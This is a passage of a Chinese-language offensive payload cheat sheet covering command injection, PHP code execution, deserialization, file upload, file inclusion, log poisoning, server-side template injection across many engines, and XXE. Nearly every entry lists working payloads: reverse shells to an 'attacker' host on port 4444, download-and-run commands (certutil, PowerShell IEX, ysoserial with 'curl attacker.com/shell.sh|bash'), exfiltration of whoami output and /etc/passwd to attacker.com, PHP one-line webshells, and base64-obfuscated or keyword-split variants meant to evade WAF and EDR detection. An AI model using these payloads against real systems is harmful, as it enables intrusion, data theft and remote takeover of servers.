; bash -i >& /dev/tcp/attacker/4444 0>&1
3. 3. Windows命令注入 [windows] Windows系统命令注入
& whoami
& dir
& type C:\windows\win.ini
& certutil -urlcache -split -f http://attacker/shell.exe shell.exe & shell.exe
& powershell -c "IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')"
4. 4. 盲命令注入 盲命令注入探测
; sleep 5
; ping -c 5 attacker.com
& timeout 5
通过响应时间差异判断命令是否执行
5. 5. 外带数据 [linux] 通过外带通道获取数据
; curl http://attacker.com/?data=$(whoami)
; wget http://attacker.com/?data=$(id|base64)
; nslookup $(whoami).attacker.com
; ping $(whoami | xxd -p).attacker.com
WAF/EDR 绕过变体:
1. 空格绕过 [linux] 绕过空格过滤
;{cat,/etc/passwd}
;cat$IFS/etc/passwd
;cat</etc/passwd
;cat%09/etc/passwd
;cat${IFS}/etc/passwd
2. 关键字绕过 [linux] 绕过关键字过滤
; c''at /etc/passwd
; c""at /etc/passwd
; c\at /etc/passwd
; /bin/c?a?t /etc/passwd
; /bin/ca[t] /etc/passwd
3. 编码绕过 [linux] 使用编码绕过
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
; $(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
PHP代码执行 rce-php
PHP代码执行漏洞利用技术
子类:PHP代码执行 · tags: rce php code execution
前置条件: 存在PHP代码执行点;用户输入可控制代码
攻击链:
1. 1. 常见危险函数 PHP危险函数
eval($_POST[cmd]);
assert($_POST[cmd]);
preg_replace('/a/e',$_POST[cmd],'a');
create_function('',$_POST[cmd]);
array_map($_POST[func],$_POST[arr]);
call_user_func($_POST[func],$_POST[arg]);
2. 2. 命令执行 PHP命令执行函数
system('whoami');
exec('whoami');
shell_exec('whoami');
passthru('whoami');
popen('whoami','r');
proc_open('whoami',$desc,$pipes);
`whoami`;
3. 3. 一句话木马 常见一句话木马
<?php @eval($_POST[cmd]);?>
<?php @assert($_POST[cmd]);?>
<?php @system($_GET[cmd]);?>
<?php $a=create_function('',$_POST[cmd]);$a();?>
4. 4. 免杀一句话 免杀一句话木马
<?php $a='ev'.$_POST[1];$a($_POST[cmd]);?>
<?php $_='a'.'s'.'s'.'e'.'r'.'t';$_($_POST[cmd]);?>
<?php $a=base64_decode('YXNzZXJ0');$a($_POST[cmd]);?>
WAF/EDR 绕过变体:
1. 回调函数绕过 使用回调函数
array_map('assert',array($_POST[cmd]));
call_user_func('assert',$_POST[cmd]);
$a='assert';$a($_POST[cmd]);
2. 变量函数绕过 WAF绕过技术
$func=$_GET['func'];$cmd=$_GET['cmd'];$func($cmd);
PHP Filter链RCE rce-php-filter
利用PHP Filter链构造RCE
子类:PHP Filter链 · tags: rce php filter chain
前置条件: 存在文件包含漏洞;PHP版本支持Filter链
攻击链:
1. 1. Filter链原理 Filter链原理
利用php://filter的convert.base64-decode等过滤器
通过精心构造的输入,最终生成可执行代码
2. 2. 构造Filter链 构造Filter链
php://filter/convert.base64-decode/resource=data://,plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg==
使用多个过滤器串联
3. 3. 使用工具生成 使用工具生成Filter链
# 使用php_filter_chain_generator
python3 php_filter_chain_generator.py --chain "<?php system($_GET[cmd]);?>"
# 输出可直接使用的Filter链
4. 4. 完整利用示例 完整Filter链示例
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp
WAF/EDR 绕过变体:
1. 编码绕过 编码组合绕过
使用不同编码过滤器组合
绕过关键字检测
盲命令注入 rce-cmd-blind
无回显的命令注入利用技术
子类:盲命令注入 · tags: rce blind command injection
前置条件: 存在命令注入点;无直接回显
攻击链:
1. 1. 时间盲注 使用延时判断
; sleep 5
| sleep 5
`sleep 5`
$(sleep 5)
& timeout 5
观察响应时间判断命令是否执行
2. 2. DNS外带 DNS外带数据
; nslookup $(whoami).attacker.com
; ping -c 1 $(whoami).attacker.com
; host $(id | base64).attacker.com
& nslookup %USERNAME%.attacker.com
3. 3. HTTP外带 HTTP外带数据
; curl http://attacker.com/?data=$(whoami)
; wget http://attacker.com/?data=$(id)
; curl -d @/etc/passwd http://attacker.com/
& certutil -urlcache -f http://attacker.com/?data=%USERNAME%
4. 4. ICMP外带 [linux] ICMP外带数据
; ping -p $(echo "test" | xxd -p) attacker.com
; tcpdump -i eth0 icmp
在攻击者服务器监听ICMP包
5. 5. 反弹Shell 反弹Shell
; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
; nc -e /bin/bash attacker 4444
; python -c "import socket,subprocess,os;s=socket.socket();s.connect(('attacker',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"
WAF/EDR 绕过变体:
1. 编码绕过 [linux] Base64编码绕过
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash
使用Base64编码绕过
反序列化漏洞 rce-deserialize
利用反序列化漏洞实现RCE
子类:反序列化 · tags: rce deserialize java php
前置条件: 存在反序列化点;存在可利用的Gadget链
攻击链:
1. 1. Java反序列化 Java反序列化
# 常见漏洞组件
Apache Commons Collections
Spring Framework
Fastjson
Jackson
WebLogic
# 使用ysoserial生成payload
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash"
2. 2. PHP反序列化 PHP反序列化
<?php
class Exploit {
public $cmd = "system('whoami');";
function __destruct() {
eval($this->cmd);
}
}
echo serialize(new Exploit());
?>
生成: O:6:"Exploit":1:{s:3:"cmd";s:17:"system('whoami');";}
3. 3. Python反序列化 Python pickle反序列化
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('whoami',))
payload = pickle.dumps(Exploit())
# 发送payload触发反序列化
4. 4. .NET反序列化 [windows] .NET反序列化
# 使用ysoserial.net
ysoserial.net -g ObjectDataProvider -f Json.Net -c "calc.exe"
# 常见格式
BinaryFormatter
Json.NET
XMLSerializer
WAF/EDR 绕过变体:
1. 签名绕过 绕过签名验证
如果存在签名验证
需要获取密钥重新签名
PHP反序列化 rce-deserialize-php
PHP反序列化漏洞利用技术
子类:PHP反序列化 · tags: rce php deserialize unserialize
前置条件: 存在unserialize调用;存在可利用的类
攻击链:
1. 1. 魔术方法 PHP魔术方法
__construct() - 对象创建时调用
__destruct() - 对象销毁时调用
__wakeup() - 反序列化时调用
__toString() - 对象转字符串时调用
__call() - 调用不存在方法时触发
2. 2. 构造POP链 构造POP链
<?php
class Chain {
public $obj;
function __destruct() {
$this->obj->action();
}
}
class Action {
public $cmd;
function action() {
system($this->cmd);
}
}
$payload = new Chain();
$payload->obj = new Action();
$payload->obj->cmd = "whoami";
echo serialize($payload);
?>
3. 3. Phar反序列化 Phar反序列化
# 生成Phar文件
<?php
class Exploit {}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o = new Exploit();
$phar->setMetadata($o);
$phar->stopBuffering();
?>
# 触发反序列化
phar://exploit.phar/test.txt
4. 4. Session反序列化 Session反序列化
# 利用Session处理器差异
# php_serialize vs php_binary
构造恶意Session数据触发反序列化
WAF/EDR 绕过变体:
1. 属性修饰符绕过 属性修饰符处理
使用public/private/protected属性
注意序列化格式差异:
public: s:3:"cmd"
private: s:8:"\0Class\0cmd"
protected: s:7:"\0*\0cmd"
Java反序列化 rce-deserialize-java
Java反序列化漏洞利用技术
子类:Java反序列化 · tags: rce java deserialize ysoserial
前置条件: 存在Java反序列化点;存在Gadget链
攻击链:
1. 1. 常见Gadget链 常见Gadget链
CommonsCollections - Apache Commons Collections
CommonsBeanutils - Apache Commons BeanUtils
Spring - Spring Framework
Jdk7u21 - JDK原生Gadget
Groovy - Apache Groovy
Hibernate - Hibernate ORM
2. 2. 使用ysoserial 使用ysoserial生成payload
# 列出所有Gadget
java -jar ysoserial.jar
# 生成payload
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" > payload.ser
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"
3. 3. JRMP攻击 JRMP攻击
# 启动JRMP服务
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4444 CommonsCollections1 "touch /tmp/pwned"
# 发送JRMP客户端payload
java -jar ysoserial.jar JRMPClient attacker:4444
4. 4. 内存马注入 内存马注入
# 使用ysoserial注入内存马
java -jar ysoserial.jar CommonsCollections1 "生成内存马字节码"
# 或使用工具
java -jar ysuserial.jar CommonsCollections1 "内存马命令"
WAF/EDR 绕过变体:
1. 二次反序列化 二次反序列化绕过
使用SignedObject或RMI绕过黑名单
2. 反射绕过 反射绕过
使用反射设置属性绕过限制
文件上传漏洞 rce-file-upload
利用文件上传漏洞获取RCE
子类:文件上传 · tags: rce upload webshell file
前置条件: 存在文件上传功能;可上传可执行文件
攻击链:
1. 1. 基础上传 直接上传可执行文件
上传PHP文件: shell.php
上传JSP文件: shell.jsp
上传ASPX文件: shell.aspx
上传CGI文件: shell.cgi
2. 2. 前端绕过 绕过前端验证
# 修改Content-Type
Content-Type: image/jpeg
# 修改文件扩展名
test.php -> test.jpg.php
test.php -> test.php.jpg
# 使用空字节
test.php%00.jpg
3. 3. 后端绕过 绕过后端黑名单
# 黑名单绕过
.php -> .phtml, .php3, .php5, .pht
.asp -> .asa, .cer, .cdx
.jsp -> .jspx, .jspf
# 大小写绕过
.Php, .pHp, .PHP
# 双写绕过
.pphphp
4. 4. 图片马 制作图片马
# 制作图片马
copy test.jpg/b + shell.php/a shell.jpg
# 利用文件包含执行
include($_GET['file']);
?file=upload/shell.jpg
5. 5. .htaccess上传 [linux] 利用.htaccess
# 上传.htaccess文件
AddType application/x-httpd-php .jpg
AddHandler php-script .jpg
# 之后上传的jpg文件会被当作PHP执行
WAF/EDR 绕过变体:
1. Content-Type绕过 Content-Type绕过
修改请求中的Content-Type为允许的类型
image/jpeg, image/png, image/gif
2. 文件头绕过 文件头绕过
在恶意文件前添加图片文件头
GIF89a<?php eval($_POST[cmd]);?>
文件包含RCE rce-include
利用文件包含漏洞实现RCE
子类:文件包含 · tags: rce include lfi rfi
前置条件: 存在文件包含漏洞;可包含恶意文件
攻击链:
1. 1. 日志投毒 [linux] 日志投毒RCE
# 注入代码到日志
User-Agent: <?php system($_GET['cmd']);?>
# 包含日志文件
?file=/var/log/apache2/access.log&cmd=whoami
?file=/var/log/nginx/access.log&cmd=whoami
2. 2. Session文件包含 [linux] Session文件包含
# 注入代码到Session
?file=/var/lib/php/sessions/sess_[PHPSESSID]
# Session内容
<?php system($_GET['cmd']);?>
3. 3. /proc/self/environ [linux] 包含环境变量
# 注入代码到环境变量
User-Agent: <?php system($_GET['cmd']);?>
# 包含环境变量文件
?file=/proc/self/environ&cmd=whoami
4. 4. PHP伪协议 PHP伪协议利用
# php://input
?file=php://input
POST: <?php system('whoami');?>
# data://协议
?file=data://text/plain,<?php system('whoami');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
5. 5. 远程文件包含
# RFI直接包含远程Shell
?file=http://attacker.com/shell.txt
# shell.txt内容
<?php system($_GET['cmd']);?>
WAF/EDR 绕过变体:
1. 编码绕过 URL编码绕过
?file=%2fvar%2flog%2fapache2%2faccess.log
URL编码路径
日志投毒RCE rce-log-poison
利用日志投毒实现RCE
子类:日志投毒 · tags: rce log poison lfi
前置条件: 存在文件包含漏洞;可读取日志文件
攻击链:
1. 1. Apache日志投毒 [linux] Apache日志投毒
# 注入代码到访问日志
curl -A "<?php system(\$_GET['cmd']);?>" http://target/
# 包含日志执行
?file=/var/log/apache2/access.log&cmd=whoami
?file=/var/log/httpd/access_log&cmd=whoami
2. 2. Nginx日志投毒
# 注入代码
curl -A "<?php system(\$_GET['cmd']);?>" http://target/
# 包含日志
?file=/var/log/nginx/access.log&cmd=whoami
WAF/EDR 绕过变体:
1. 编码绕过 编码绕过
使用URL编码或Base64编码绕过关键字过滤
图片马RCE rce-image
利用图片马实现RCE
子类:图片马 · tags: rce image webshell upload
前置条件: 存在文件上传;存在文件包含
攻击链:
1. 1. 制作图片马 制作图片马
# Windows
copy test.jpg/b + shell.php/a shell.jpg
# Linux
cat test.jpg shell.php > shell.jpg
# 在图片末尾添加PHP代码
echo "<?php @eval($_POST[cmd]);?>" >> test.jpg
2. 2. 图片马内容 图片马格式
GIF89a
<?php @eval($_POST[cmd]);?>
# 或使用Exif注释
exiftool -Comment="<?php @eval($_POST[cmd]);?>" test.jpg
3. 3. 利用文件包含执行 文件包含执行
# 配合文件包含漏洞
?file=upload/shell.jpg
POST: cmd=system('whoami');
# 配合phar://
?file=phar://upload/shell.jpg
4. 4. 配合.htaccess [linux] 配合.htaccess执行
# 上传.htaccess
AddType application/x-httpd-php .jpg
# 直接访问图片执行
http://target/upload/shell.jpg
WAF/EDR 绕过变体:
1. 文件头伪装 文件头伪装
使用真实图片文件头
确保图片可正常预览
.htaccess利用 rce-htaccess
利用.htaccess文件实现RCE
子类:.htaccess · tags: rce htaccess apache upload
前置条件: Apache服务器;可上传.htaccess
攻击链:
1. 1. 解析其他扩展名 [linux] 修改文件类型解析
# 让.jpg文件作为PHP执行
AddType application/x-httpd-php .jpg
AddHandler php-script .jpg
# 让.txt文件作为PHP执行
AddType application/x-httpd-php .txt
2. 2. 自动包含 [linux] 自动包含文件
# 自动在每个文件前包含
php_value auto_prepend_file /var/www/html/shell.php
# 自动在每个文件后包含
php_value auto_append_file /var/www/html/shell.php
3. 3. 伪静态RCE [linux] 伪静态配置
# 利用mod_rewrite
RewriteEngine on
RewriteRule ^(.*)$ $1 [L]
# 更危险的配置
SetHandler application/x-httpd-php
4. 4. 错误页面包含 [linux] 错误页面利用
# 自定义错误页面
ErrorDocument 404 /shell.php
ErrorDocument 500 /shell.php
5. 5. 文件包含绕过 [linux] PHP配置修改
# 设置include路径
php_value include_path "/var/www/html/uploads"
# 禁用安全限制
php_flag safe_mode off
php_flag display_errors on
WAF/EDR 绕过变体:
1. 换行绕过 [linux] 换行绕过
使用换行符分隔配置
绕过单行检测
· SSTI模板注入
Jinja2模板注入 ssti-jinja2
Jinja2/Twig模板注入攻击技术
子类:Jinja2 · tags: ssti jinja2 twig template
前置条件: 使用Jinja2/Twig模板引擎;用户输入直接渲染到模板
攻击链:
1. 1. 探测SSTI 探测模板注入
{{7*7}}
${7*7}
<%= 7*7 %>
{{config}}
如果输出49或配置信息,则存在SSTI
2. 2. 信息收集 收集环境信息
{{config}}
{{self}}
{{request}}
{{"".__class__.__mro__}}
{{"".__class__.__mro__[1].__subclasses__()}}
3. 3. 命令执行 执行系统命令
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
4. 4. 反弹Shell [linux] 获取反弹Shell
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"').read()}}
WAF/EDR 绕过变体:
1. 字符串拼接 使用字符串拼接绕过
{{''['__cla'+'ss__']}}
{{''|attr('__cla'+'ss__')}}
{{''|attr('\x5f\x5fcla\x5f\x5fss')}}
2. 使用request对象 通过request参数传递
{{request|attr(request.args.a)}}&a=__class__
{{request|attr(request.args.a)|attr(request.args.b)}}&a=__class__&b=__mro__
FreeMarker模板注入 ssti-freemarker
FreeMarker模板引擎注入攻击技术
子类:FreeMarker · tags: ssti freemarker java template
前置条件: 使用FreeMarker模板引擎;用户输入直接渲染到模板
攻击链:
1. 1. 探测SSTI 探测FreeMarker模板注入
${7*7}
${"freemarker"}
<#assign ex="freemarker">
如果输出49或freemarker,则存在SSTI
2. 2. 信息收集 收集环境信息
${.version}
${.current_template_name}
${.lang}
${system_property["java.version"]}
${system_property["os.name"]}
3. 3. 命令执行 - new 使用Execute类执行命令
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
4. 4. 命令执行 - api 使用ObjectConstructor执行命令
<#assign api="freemarker.template.utility.ObjectConstructor"?new()>${api("java.lang.Runtime","getRuntime").exec("id")}
<#assign api="freemarker.template.utility.ObjectConstructor"?new()>${api("java.lang.ProcessBuilder","/bin/sh","-c","id").start()}
5. 5. 反弹Shell [linux] 获取反弹Shell
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}
WAF/EDR 绕过变体:
1. 字符串拼接 使用字符串拼接绕过
<#assign ex="freemarker.template.utility.Ex"+"ecute"?new()>${ex("id")}
<#assign cls="java.lang.Ru"+"ntime">${cls?new().exec("id")}
2. 使用内置函数 直接实例化执行
${"freemarker.template.utility.Execute"?new()("id")}
${"java.lang.Runtime"?new().exec("id")}
Velocity模板注入 ssti-velocity
Velocity模板引擎注入攻击技术
子类:Velocity · tags: ssti velocity java template
前置条件: 使用Velocity模板引擎;用户输入直接渲染到模板
攻击链:
1. 1. 探测SSTI 探测Velocity模板注入
#set($x=7*7)$x
$velocityVersion
$class.inspect("java.lang.Runtime")
如果输出49或版本信息,则存在SSTI
2. 2. 信息收集 收集环境信息
$class.inspect("java.lang.System")
$class.inspect("java.lang.Runtime")
$sys.class.forName("java.lang.Runtime")
3. 3. 命令执行 - ClassTool 使用ClassTool执行命令
#set($rt=$class.inspect("java.lang.Runtime"))
#set($chr=$class.inspect("java.lang.Character"))
#set($ex=$rt.getRuntime().exec("id"))
$ex.waitFor()
#set($is=$ex.getInputStream())
#set($br=$class.inspect("java.io.BufferedReader").newInstance($class.inspect("java.io.InputStreamReader").newInstance($is)))
#set($line=$br.readLine())
$line
4. 4. 命令执行 - 反射 使用反射执行命令
#set($rt=$Class.forName("java.lang.Runtime"))
#set($m=$rt.getDeclaredMethod("getRuntime"))
#set($obj=$m.invoke(null))
#set($ex=$rt.getDeclaredMethod("exec",$Class.forName("java.lang.String")).invoke($obj,"id"))
5. 5. 反弹Shell [linux] 获取反弹Shell
#set($rt=$Class.forName("java.lang.Runtime"))
#set($m=$rt.getDeclaredMethod("getRuntime"))
#set($obj=$m.invoke(null))
#set($ex=$rt.getDeclaredMethod("exec",$Class.forName("java.lang.String")).invoke($obj,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}"))
WAF/EDR 绕过变体:
1. 字符串拼接 使用字符串拼接绕过
#set($cmd="i"+"d")
#set($rt=$Class.forName("java.lang.Ru"+"ntime"))
#set($ex=$rt.getRuntime().exec($cmd))
2. 使用Unicode 使用Unicode编码绕过
#set($cmd="id")
#set($rt=$Class.forName("java.lang.Runtime"))
#set($ex=$rt.getRuntime().exec($cmd))
Thymeleaf模板注入 ssti-thymeleaf
Thymeleaf模板引擎注入攻击技术
子类:Thymeleaf · tags: ssti thymeleaf java spring template
前置条件: 使用Thymeleaf模板引擎;Spring框架;用户输入直接渲染到模板
攻击链:
1. 1. 探测SSTI 探测Thymeleaf模板注入
${7*7}
#{7*7}
*{7*7}
[[${7*7}]]
如果输出49,则存在SSTI
2. 2. 信息收集 收集环境信息
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec("id")}
${T(java.lang.Class).forName("java.lang.Runtime")}
3. 3. 命令执行 - Spring表达式 使用Spring表达式执行命令
${T(java.lang.Runtime).getRuntime().exec("id")}
${T(java.lang.Runtime).getRuntime().exec("whoami")}
${T(java.lang.ProcessBuilder).newInstance("id").start()}
4. 4. 命令执行 - ProcessBuilder 使用ProcessBuilder执行命令
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
${new java.lang.ProcessBuilder(new String[]{"bash","-c","id"}).start()}
${new java.lang.ProcessBuilder(new String[]{"cmd","/c","whoami"}).start()}
5. 5. 反弹Shell [linux] 获取反弹Shell
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}
WAF/EDR 绕过变体:
1. 字符串拼接 使用字符串拼接绕过
${T(java.lang.Run"+"time).getRuntime().exec("i"+"d")}
${T(java.lang.Class).forName("java.lang.Ru"+"ntime").getMethod("getRuntime").invoke(null)}
2. 使用反射 使用反射绕过
${T(Class).forName("java.lang.Runtime").getMethod("exec",T(String)).invoke(T(Runtime).getRuntime(),"id")}
3. URL编码 使用字节数组绕过
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{105,100}))}
# 使用字节数组构造命令
Smarty模板注入 ssti-smarty
Smarty模板引擎注入攻击技术
子类:Smarty · tags: ssti smarty php template
前置条件: 使用Smarty模板引擎;用户输入直接渲染到模板
攻击链:
1. 1. 探测SSTI 探测Smarty模板注入
{$smarty.version}
{7*7}
{$smarty.template}
如果输出版本或49,则存在SSTI
2. 2. 信息收集 收集环境信息
{$smarty.server.PHP_SELF}
{$smarty.server.SERVER_NAME}
{$smarty.const.PHP_VERSION}
3. 3. 命令执行 - system 使用system函数执行命令
{system("id")}
{system("whoami")}
{system("cat /etc/passwd")}
4. 4. 命令执行 - passthru 使用passthru函数执行命令
{passthru("id")}
{passthru("ls -la")}
{passthru("cat /etc/passwd")}
5. 5. 命令执行 - exec 使用exec函数执行命令
{exec("id",$output)}
{foreach from=$output item=line}{$line}{/foreach}
6. 6. 反弹Shell [linux] 获取反弹Shell
{system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")}
{system("nc -e /bin/sh attacker 4444")}
WAF/EDR 绕过变体:
1. 字符串拼接 使用字符串拼接绕过
{system("i"+"d")}
{system("who"."ami")}
{system("ca"."t /etc/passwd")}
2. 变量赋值 使用变量赋值绕过
{assign var="cmd" value="id"}
{system($cmd)}
{assign var="f" value="sys"."tem"}
{$f("id")}
3. 使用PHP函数 WAF绕过技术
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{PHP function call}
Mako模板注入 ssti-mako
Mako模板引擎注入攻击技术
子类:Mako · tags: ssti mako python template
前置条件: 使用Mako模板引擎;用户输入直接渲染到模板
攻击链:
1. 1. 探测SSTI 探测Mako模板注入
${7*7}
${self}
${self.module}
如果输出49或模块信息,则存在SSTI
2. 2. 信息收集 收集环境信息
${self.module.cache.util}
${self.module.cache.util.os}
${dir(self)}
3. 3. 命令执行 - os模块 使用os模块执行命令
${self.module.cache.util.os.popen("id").read()}
${self.module.cache.util.os.popen("whoami").read()}
${self.module.cache.util.os.system("id")}
4. 4. 命令执行 - subprocess 使用subprocess执行命令
<%
import subprocess
%>
${subprocess.check_output(["id","-a"])}
${subprocess.Popen(["id"],stdout=subprocess.PIPE).communicate()[0]}
5. 5. 反弹Shell [linux] 获取反弹Shell
${self.module.cache.util.os.popen("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"").read()}
WAF/EDR 绕过变体:
1. 字符串拼接 使用字符串拼接绕过
${self.module.cache.util.os.popen("i"+"d").read()}
${self.module.cache.util.os.popen("who"+"ami").read()}
2. 使用__import__ 使用__import__导入模块
${__import__("os").popen("id").read()}
${__import__("subprocess").check_output(["id"])}
3. 使用getattr 使用getattr绕过
${getattr(__import__("os"),"popen")("id").read()}
${getattr(getattr(__import__("os"),"popen")("id"),"read")()}
Tornado模板注入 ssti-tornado
Tornado模板引擎注入攻击技术
子类:Tornado · tags: ssti tornado python template
前置条件: 使用Tornado模板引擎;用户输入直接渲染到模板
攻击链:
1. 1. 探测SSTI 探测Tornado模板注入
{{7*7}}
{{handler}}
{{request}}
如果输出49或handler对象,则存在SSTI
2. 2. 信息收集 收集环境信息
{{handler.settings}}
{{handler.application}}
{{request.headers}}
{{request.cookies}}
3. 3. 命令执行 - os 使用os模块执行命令
{% import os %}
{{os.popen("id").read()}}
{{os.popen("whoami").read()}}
{{os.system("id")}}
4. 4. 命令执行 - subprocess 使用subprocess执行命令
{% import subprocess %}
{{subprocess.check_output(["id","-a"])}}
{{subprocess.Popen(["id"],stdout=-1).communicate()[0]}}
5. 5. 反弹Shell [linux] 获取反弹Shell
{% import os %}
{{os.popen("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"").read()}}
WAF/EDR 绕过变体:
1. 字符串拼接 使用字符串拼接绕过
{% import os %}
{{os.popen("i"+"d").read()}}
{{os.popen("who"+"ami").read()}}
2. 使用__import__ 使用__import__导入模块
{{__import__("os").popen("id").read()}}
{{__import__("subprocess").check_output(["id"])}}
3. 使用handler 通过handler访问
{{handler.application.settings}}
{{handler.get_status()}}
{{handler.request.remote_ip}}
Django模板注入 ssti-django
Django模板引擎注入攻击技术
子类:Django · tags: ssti django python template
前置条件: 使用Django模板引擎;用户输入直接渲染到模板
攻击链:
1. 1. 探测SSTI 探测Django模板注入
{{7*7}}
{% if 1=1 %}vulnerable{% endif %}
{{request}}
如果输出49或request对象,则存在SSTI
2. 2. 信息收集 收集环境信息
{{request.META}}
{{request.user}}
{{request.session}}
{{settings.SECRET_KEY}}
3. 3. 命令执行 - 通过settings 尝试通过settings访问
{{settings.TEMPLATES}}
{{settings.DATABASES}}
# Django模板默认沙箱,难以直接执行命令
# 需要找到可利用的对象链
4. 4. 命令执行 - 对象链 通过对象链访问
{{request.user.groups.model._meta.apps}}
{{request.user.user_permissions.model._meta.apps}}
# 尝试访问Django内部对象
5. 5. 敏感信息泄露 泄露敏感配置
{{settings.SECRET_KEY}}
{{settings.DATABASES}}
{{settings.ALLOWED_HOSTS}}
{{settings.DEBUG}}
WAF/EDR 绕过变体:
1. 使用过滤器 使用Django过滤器
{{request|length}}
{{settings.SECRET_KEY|default:""}}
{{request.META|dictsort:"key"}}
2. 使用for循环 使用for循环遍历
{% for key, value in request.META.items %}{{key}}:{{value}}{% endfor %}
{% for k in settings.keys %}{{k}}{% endfor %}
ERB模板注入 ssti-erb
ERB(Ruby)模板引擎注入攻击技术
子类:ERB · tags: ssti erb ruby template
前置条件: 使用ERB模板引擎;用户输入直接渲染到模板
攻击链:
1. 1. 探测SSTI 探测ERB模板注入
<%= 7*7 %>
<%= self %>
<%= __FILE__ %>
如果输出49或文件信息,则存在SSTI
2. 2. 信息收集 收集环境信息
<%= Dir.pwd %>
<%= ENV.inspect %>
<%= `id` %>
<%= File.read("/etc/passwd") %>
3. 3. 命令执行 - 反引号 使用反引号执行命令
<%= `id` %>
<%= `whoami` %>
<%= `cat /etc/passwd` %>
<%= `ls -la` %>
4. 4. 命令执行 - system [linux] 使用system/exec执行命令并获取反弹Shell
<%= system("id") %>
<%= system("whoami") %>
<%= exec("id") %>
<%= IO.popen("id").read %>
WAF/EDR 绕过变体:
1. 字符串拼接 使用字符串拼接绕过
<%= `i` + `d` %>
<%= system("wh"+"oami") %>
<%= ("i"+"d").then { |c| system(c) } %>
2. 使用%语法 使用%x语法执行命令
<%= %x(id) %>
<%= %x{whoami} %>
<%= %x[cat /etc/passwd] %>
3. 使用Open3 使用Open3模块
<%= require "open3"; Open3.popen3("id") { |i,o,e,t| puts o.read } %>
Pug/Jade模板注入 ssti-pug
Pug/Jade模板引擎注入攻击技术
子类:Pug · tags: ssti pug jade nodejs template
前置条件: 使用Pug/Jade模板引擎;用户输入直接渲染到模板
攻击链:
1. 1. 探测SSTI 探测Pug模板注入
#{7*7}
#{this}
#{global}
如果输出49或global对象,则存在SSTI
2. 2. 信息收集 收集环境信息
#{process}
#{process.env}
#{global.process}
#{require}
3. 3. 命令执行 - child_process 使用child_process执行命令
- var exec = require("child_process").exec
#{exec("id", function(err, stdout, stderr) { console.log(stdout) })}
- require("child_process").exec("id")
4. 4. 命令执行 - execSync 使用execSync执行命令
- var execSync = require("child_process").execSync
#{execSync("id").toString()}
#{require("child_process").execSync("id").toString()}
5. 5. 反弹Shell [linux] 获取反弹Shell
- require("child_process").exec("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")
WAF/EDR 绕过变体:
1. 字符串拼接 使用字符串拼接绕过
- var cmd = "i" + "d"
#{require("child_process").execSync(cmd).toString()}
- var r = "require"
#{global[r]("child_process")}
2. 使用global 使用global对象
#{global.process.mainModule.require("child_process").execSync("id").toString()}
#{global["req"+"uire"]("child_process")}
3. 使用this 使用this.constructor
#{this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id")}
· XXE实体注入
XXE基础攻击 xxe-basic
XML外部实体注入基础攻击技术
子类:基础攻击 · tags: xxe xml external entity
前置条件: 存在XML解析功能;外部实体未被禁用
攻击链:
1. 1. 探测XXE 基础XXE测试
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
2. 2. 读取文件 [windows] 读取Windows文件
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root>&xxe;</root>
3. 3. 读取PHP源码 使用PHP Filter读取源码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>&xxe;</root>
4. 4. SSRF攻击 利用XXE进行SSRF
